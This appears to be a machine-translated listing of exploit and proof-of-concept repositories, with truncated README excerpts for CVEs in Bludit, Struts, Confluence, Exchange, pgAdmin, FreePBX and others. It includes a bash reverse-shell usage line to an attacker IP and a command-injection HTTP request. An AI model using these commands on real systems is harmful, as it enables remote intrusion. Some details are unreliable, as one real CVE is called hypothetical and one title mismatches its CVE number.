CVE-2019-16113

CVE-2019-16113 CVE-2019-16113 - bludit = 3.9.2 تنفيذ أوامر عن بعد مع المصادقة الاستخدام python CVE-2019-16113.py -u http://10.10.10.10 -user user -pass secret -c "bash -c 'bash -i & /dev/tcp/10.10.14.172/1337 0&1'" مثال...

PoC-CVE-2017-5638

PoC: Apache Struts2 CVE-2017-5638 عرض تعليمي آمن 📌 نظرة عامة هذا المشروع هو إثبات مفهوم PoC لـ CVE-2017-5638 ، وهي ثغرة شهيرة في Apache Struts2 سمحت للمهاجمين بتنفيذ كود عشوائي على الخوادم المتضررة. ⚠️ يحتوي هذا المستودع على عرض توضيحي آمن وغير استغلالي مصمم لأغراض تعليمية فقط. لا يقوم بأي إجراءات...

WebKit-CVE-2016-4622

تحليل WebKit CVE-2016-4622: غوص عميق في ثغرة المسار السريع لـ Slice ValueOf تحليل شامل واستغلال ثغرة WebKit JavaScript Core التي تمكن من كشف الذاكرة من خلال التلاعب بـ Array.slice جدول المحتويات الملخص التنفيذي نظرة عامة على الثغرة إعداد بيئة البحث التحليل الفني شرح الاستغلال خطوة بخطوة النتائج...

cve-2022-26134

CVE-2022-26134 بواسطة 1vere$k مجرد إثبات مفهوم PoC بسيط لاستغلال أطلاسيان جيرا. يوفر تنفيذ الأكواد لمستخدم غير مصرح له على الخادم. CVE-2022-26134 - ثغرة حقن OGNL. سكربت إثبات مفهوم يستغل ثغرة تنفيذ الأكواد عن بُعد التي تؤثر على أطلاسيان كونفلونس 7.18 والمنتجات الأقدم. تسمح ثغرة حقن OGNL لمستخدم غ...

CVE-2022-22954

إثبات المفهوم لـ CVE-2022-22954 ثغرة تنفيذ الأوامر عن بعد RCE في VMware Workspace ONE Access وIdentity Manager عبر SSTI. CVE-2022-22954 - إثبات المفهوم SSTI الاستخدام: CVE-2022-22954.py -h -m SETMODE -i IP -c CMD optional arguments: -h, --help show this help message and exit -m SETMODE, --mode...

CVE-2020-0688-Scanner

CVE-2020-0688-Scanner أداة سريعة بلغة C لفحص CVE-2020-0688 على مضيفين متعددين بطريقة غير تدخلية. الميزات مسح المضيفين من ملف إدخال. فحص سلبي: استخراج إصدار Exchange من خلال فحص محتوى HTML. إنتاج ملف مخرجات. عرض توضيحي كيفية الاستخدام المتطلبات الأساسية ويندوز .NET framework 4.5.2 التحميل git clon...

CVE-2021-42013-Apache-RCE-Poc-Exp

اسم الثغرة تنفيذ التعليمات البرمجية عن بُعد في Apache CVE-2021-42013 وصف الثغرة Apache HTTP Server هو خادم ويب مفتوح المصدر تابع لمؤسسة Apache الأمريكية. يتميز بالسرعة والموثوقية وإمكانية التوسع عبر واجهة برمجة تطبيقات بسيطة. تم اكتشاف أن الإصلاح المقدم لـ CVE-2021-41773 في Apache HTTP Server...

Triage-CVE-2021-26855-ProxyLogon---Microsoft-Exchange-

Triage : CVE-2021-26855 ProxyLogon - Microsoft Exchange Pour ce laboratoire, l'objectif était de s'entraîner à trier une vulnérabilité réelle bien connue comme le ferait une équipe de sécurité : lire les détails de la CVE, comprendre le score CVSS, et raisonner sur le niveau de risque réel selon ...

CVE-2025-2945

CVE-2025-2945 - Exploit RCE authentifié pgAdmin4 Auteur : G0D150NE Version : 2.0.0 CVE : CVE-2025-2945 Sévérité : Critique CVSS 9.9 📌 Description Exploit pour la vulnérabilité d'exécution de code à distance RCE de pgAdmin4 affectant les versions 8.10 à 9.1. La vulnérabilité se situe dans le point...

cobaltstrike_swing_xss2rce

لا يحتوي هذا المستودع على ملف README...

Triage-CVE-2017-0144

Triage : CVE-2017-0144 EternalBlue / SMBv1 — associé à la propagation de WannaCry Pour ce laboratoire, l'objectif était de trier une autre vulnérabilité réelle bien connue, cette fois EternalBlue, la faille SMBv1 qui a été tristement célèbre pour avoir été exploitée par la vague de ransomware...

AgentDVR-5.1.6.0-File-Upload-and-Remote-Code-Execution

AgentDVR-5.1.6.0 — загрузка файлов и удаленное выполнение кода CVE-2024-22515 произвольная загрузка файлов и CVE-2024-22514 удаленное выполнение кода для AgentDVR 5.1.6.0 требуется аутентификация Вероятно, затронуты и более старые версии...

CVE-2024-23692

CVE-2024-23692 BURP POC GET /?n=%0A&cmd=ipconfig+/all&search=%25xxx%25url:%password%.exec|.?cmd.|timeout=15|out=abc..?n..?n.RESULT:.?n..^abc.====.?n. HTTP/1.1 Host: xxxx User-Agent: Mozilla/5.0 X11; Linux x8664; rv:109.0 Gecko/20100101 Firefox/115.0 Accept:...

pwn-hisilicon-dvr

= Piratage de DVR HiSilicon Istvan Toth [email protected] v1.0, 2017-09-06 :source-highlighter: pygments :toc: preamble :toclevels: 5 :toc-title: Contents :imagewidth: 100% abstract Ce rapport divulgue des vulnérabilités graves avec une preuve de concept PoC des dispositifs DVR/NVR construit...

CVE-2024-6387

CVE-2024-6387 CVE-2024-6387 هو مثال افتراضي، لكن لنفترض أنه ثغرة أمنية حقيقية في تطبيق خادم OpenSSH. قد تتضمن هذه الثغرة مشكلة تجاوز سعة المخزن المؤقت أو تلف الذاكرة تسمح للمهاجمين عن بُعد بتنفيذ كود عشوائي على الخادم. إليك شرح عالي المستوى لكيفية استغلال هذه الثغرة: 1. حقن الكومة Heap Spraying:...

CVE-2025-5781

Exploit FreePBX CVE-2025-57819 Description Ce script exploite une vulnérabilité dans les versions de FreePBX antérieures à 16.0.26.0 CVE-2025-57819, permettant à des attaquants distants d'exécuter du code PHP arbitraire via une faille d'injection SQL dans l'endpoint de l'API AJAX. L'exploit crée ...

CVE-2019-0230-PoC

CVE-2019-0230 CVE-2019-0230 Exploit هذا هو CVE-2019-0230 Exploit : الاستخدام python3 cve-2019-230.py مثال: python3 cve-2019-0230-poc.py pentest.com whoami Testing pentest.com! Command being passed for RCE: whoami 2020/10/22/...

CVE-2025-48384-RCE

CVE-2025-48384-RCE...

cve-2023-34040

CVE-2023-34040 إلغاء تسلسل Spring Kafka وتنفيذ تعليمات برمجية عن بُعد POST /messages/send HTTP/1.1 Host: 127.0.0.1:8899 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Macintosh; Intel Mac OS X 10157 AppleWebKit/537.36 KHTML, like Gecko Chrome/116.0.0.0 Safari/537.36...

Oracle-WebLogic-CVE-2017-10271-master

WebLogic Wls-wsat XMLDecoder وصف الثغرة mitre:https://vulners.com/cve/CVE-2017-3506 في وقت مبكر، استغل المخترقون ثغرة في مكون WLS من WebLogic لشن هجمات عن بعد واسعة النطاق على خوادم المؤسسات، مما أدى إلى اختراق عدد كبير من الخوادم، مع ارتفاع ملحوظ في عدد الخوادم المستهدفة، مما يستدعي اهتماماً...